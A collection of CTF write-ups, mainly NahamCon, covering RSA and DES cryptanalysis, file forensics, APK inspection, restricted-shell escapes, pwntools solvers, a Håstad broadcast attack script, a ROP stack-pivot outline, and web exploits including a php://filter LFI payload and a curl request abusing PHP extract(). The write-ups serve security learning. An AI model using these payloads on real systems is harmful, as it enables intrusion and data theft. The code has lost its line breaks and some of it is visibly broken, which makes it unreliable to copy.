```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:
and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:
## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:
**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:
it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:
## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:
this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:
**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:
so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:
after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:
and the file contains our flag:
## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:
## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:
## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...
...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:
## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:
seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):
## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:
I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:
## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:
It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:
actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:
so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:
```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:
burp suite catches the request and allows us to edit it:
we now only need to add an emergency variable and we get the flag:
with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:
**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
Description:> I am the king of the galaxy, they may take it from me , but i'll always be one, because i am the un1v3rsek1ng, my tears won't cover it, so you will do that for me
First impression: The description is revealing 2 pieces of information. 1. There is some application, game or site related to galaxies. 2. There is a user on that site named "un1v3rsek1ng"
We believed that “tears” related to TOR or the ONION protocol.
By searching on Google for forums or services on TOR that relate to galaxies, a social network, “Galaxy3” was found. The url being: http://galaxy3m2mn5iqtn.onion/
By using the search functionality it was trivial to find the user "un1v3rsek1ng". The users pages were analysed and nothing valuable was found.
The user had a single connection “G4l4xyK1nG” that fitted to the challenge description. The user had a number of posts but none seemed interesting.
The profile picture was the viewed and the following characters were extracted by visual analysis:```H>#*T0RGKk* |
this is a classic hastad attack to rsa. Details could be found in: [https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-2/](https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-2/)```pythonimport gmpy
e = 5
n1 = 95118357989037539883272168746004652872958890562445814301889866663072352421703264985997800660075311645555799745426868343365321502734736006248007902409628540578635925559742217480797487130202747020211452620743021097565113059392504472785227154824117231077844444672393221838192941390309312484066647007469668558141n2 = 98364165919251246243846667323542318022804234833677924161175733253689581393607346667895298253718184273532268982060905629399628154981918712070241451494491161470827737146176316011843738943427121602324208773653180782732999422869439588198318422451697920640563880777385577064913983202033744281727004289781821019463n3 = 68827940939353189613090392226898155021742772897822438483545021944215812146809318686510375724064888705296373853398955093076663323001380047857809774866390083434272781362447147441422207967577323769812896038816586757242130224524828935043187315579523412439309138816335569845470021720847405857361000537204746060031
c1 = 64830446708169012766414587327568812421130434817526089146190136796461298592071238930384707543318390292451118980302805512151790248989622269362958718228298427212630272525186478627299999847489018400624400671876697708952447638990802345587381905407236935494271436960764899006430941507608152322588169896193268212007c2 = 96907490717344346588432491603722312694208660334282964234487687654593984714144825656198180777872327279250667961465169799267405734431675111035362089729249995027326863099262522421206459400405230377631141132882997336829218810171728925087535674907455584557956801831447125486753515868079342148815961792481779375529c3 = 43683874913011746530056103145445250281307732634045437486524605104639785469050499171640521477036470750903341523336599602288176611160637522568868391237689241446392699321910723235061180826945464649780373301028139049288881578234840739545000338202917678008269794179100732341269448362920924719338148857398181962112
N = n1*n2*n3N1 = N/n1N2 = N/n2N3 = N/n3
u1 = gmpy.invert(N1, n1)u2 = gmpy.invert(N2, n2)u3 = gmpy.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = gmpy.root(M,e)[0]print mprint hex(m)[2:].rstrip("L").decode("hex")``` |
1. BOF into `finallyyouhelpedme`2. Use `helpishere` as a fake stack frame3. Perform stack pivot to start reading from fake stack frame4. Leak libc address5. Execute one gadget |
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##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
